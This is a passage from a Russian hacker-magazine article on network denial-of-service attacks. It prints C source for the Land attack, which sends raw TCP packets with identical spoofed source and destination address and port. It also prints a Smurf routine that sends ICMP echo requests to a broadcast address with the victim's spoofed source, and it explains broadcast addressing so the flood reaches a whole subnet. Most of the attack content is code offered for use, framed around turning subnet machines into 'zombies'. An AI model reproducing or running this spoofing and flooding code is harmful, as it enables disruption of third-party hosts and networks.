Удар издалека Борис Вольфсон Спецвыпуск: Хакер, номер #048, стр. 048-030-2 // переменные struct sockaddr_in sin; struct hostent * hoste; int sock; struct ip * ipheader=(struct ip *) buffer; // ищем хост по имени hoste = gethostbyname(argv[1]); bcopy(hoste-> h_addr,&sin.sin_addr,hoste-> h_length); // переводим номер порта в число sin.sin_port = htons(atoi(argv[2])); sock = socket(AF_INET, SOCK_RAW, 255); // устанавливаем адрес отправителя и получателя ipheader-> ip_src=sin.sin_addr; ipheader-> ip_dst=sin.sin_addr; // устанавливаем порт отправителя и получателя tcpheader-> th_sport=sin.sin_port; tcpheader-> th_dport=sin.sin_port; // посылаем пакет sendto(sock,buffer,sizeof(struct ip)+sizeof(struct tcphdr),0,(struct sockaddr *) &sin,sizeof(struct sockaddr_in); В этом отрывке кода мы постарались показать самое главное, опустив менее важные, на наш взгляд, фрагменты. Следует обратить особое внимание на то, как устанавливается адрес/порт отправителя и получателя: они совпадают. Существует более продвинутая и современная реализация атаки Land - La Tierra. Ее исходники также свободно распространяются в интернете. Smurf: зомби у тебя на службе Не всякий компьютер получается заставить уничтожить себя атакой Land: это зависит от оси. Но что если отослать ICMP-запрос от имени компьютера-жертвы, да необычный, а широковещательный (broadcast)? Такой запрос получат все машины подсети и дружно направят ответ компьютеру-жертве. Приведем одну из реализаций Smurf: void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize) { // IP-заголовок struct iphdr *ip; // ICMP-заголовок struct icmphdr *icmp; char *packet; packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip = (struct iphdr *)packet; icmp = (struct icmphdr *) (packet + sizeof(struct iphdr)); memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); //готовим IP-пакет ip-> tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize); ip-> ihl = 5; ip-> version = 4; ip-> ttl = 255; ip-> tos = 0; ip-> frag_off = 0; ip-> protocol = IPPROTO_ICMP; ip-> saddr = sin.sin_addr.s_addr; ip-> daddr = dest; ip-> check = in_chksum((u_short *)ip, sizeof(struct iphdr)); //готовим ICMP-пакет icmp-> type = 8; icmp-> code = 0; icmp-> checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize); // посылаем пакет sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize, 0, (struct sockaddr *)&sin, sizeof(struct sockaddr)); free(packet); } Замечание относительно широковещательных адресов: для подсети 208.131.0.0 адрес 208.131.255.255 будет широковещательным. Кстати, о работе с raw sockets (что и позволяет нам отправлять пакеты с произвольных IP) можно прочесть в статье «Препарируем IP», опубликованной в «Кодинге» Хакера, web-версия: www.xakep.ru/magazine/xa/063/116/1.asp. |